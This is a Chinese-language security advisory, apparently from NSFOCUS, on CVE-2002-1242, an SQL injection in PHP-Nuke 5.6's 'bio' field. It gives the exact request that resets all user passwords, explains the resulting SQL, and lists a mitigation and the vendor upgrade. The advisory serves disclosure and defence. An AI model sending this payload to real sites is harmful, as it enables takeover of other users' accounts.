首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke SQL插入修改任意用户信息漏洞

发布日期:2002-10-31
更新日期:2002-11-06

受影响系统:
Francisco Burzi PHP-Nuke 5.6
不受影响系统:
Francisco Burzi PHP-Nuke 6.0
描述:
BUGTRAQ  ID: 6088
CVE(CAN) ID: CVE-2002-1242

PHP-Nuke是一个网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke对"bio"字段缺少正确的过滤,远程攻击者可以利用这个漏洞通过SQL注入攻击修改用户信息,包括密码。

攻击者可以通过在"bio"字段插入'\',可以绕过引用,导致可以进行SQL注入,下面的操作可以修改任何PHP-NUKE用户密码为"1"。

要利用这个漏洞,用户必须登录PHP-NUKE系统,进入帐户管理,通过查看源代码判断用户UID后,提交如下请求:

modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage=no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/*

可以更改SQL命令逻辑为:

UPDATE nuke_users
   SET name = '',
       email = '',
       femail = '',
       url = 'http://',
       pass = 'xxxxx',
  +--[ bio = '\',
  | user_avatar = '',
  | user_icq = '',
  | user_occ = '',
  | user_from = '',
  | user_intrest = '',
  | user_sig = '',
  | user_aim = '',
  | user_yim = '',
  | user_msnm = '',
  +--[ newsletter = ',
       bio=0,pass=md5(1)/*' WHERE uid='2'

上面标识区域作为值存储到bio中,而"where"子句被注释,可以使更新的命令更新整个用户表密码信息。

<*来源:kill9 (kill9@hackers.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103616392903817&w=2
*>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时使用.htaccesss等访问控制授权限制对modules.php所在目录的访问。

厂商补丁:

Francisco Burzi
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Francisco Burzi Upgrade PHP-Nuke 6.0
http://www.phpnuke.org./modules.php?name=Downloads&d_op=getit&lid=321

浏览次数:4031
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障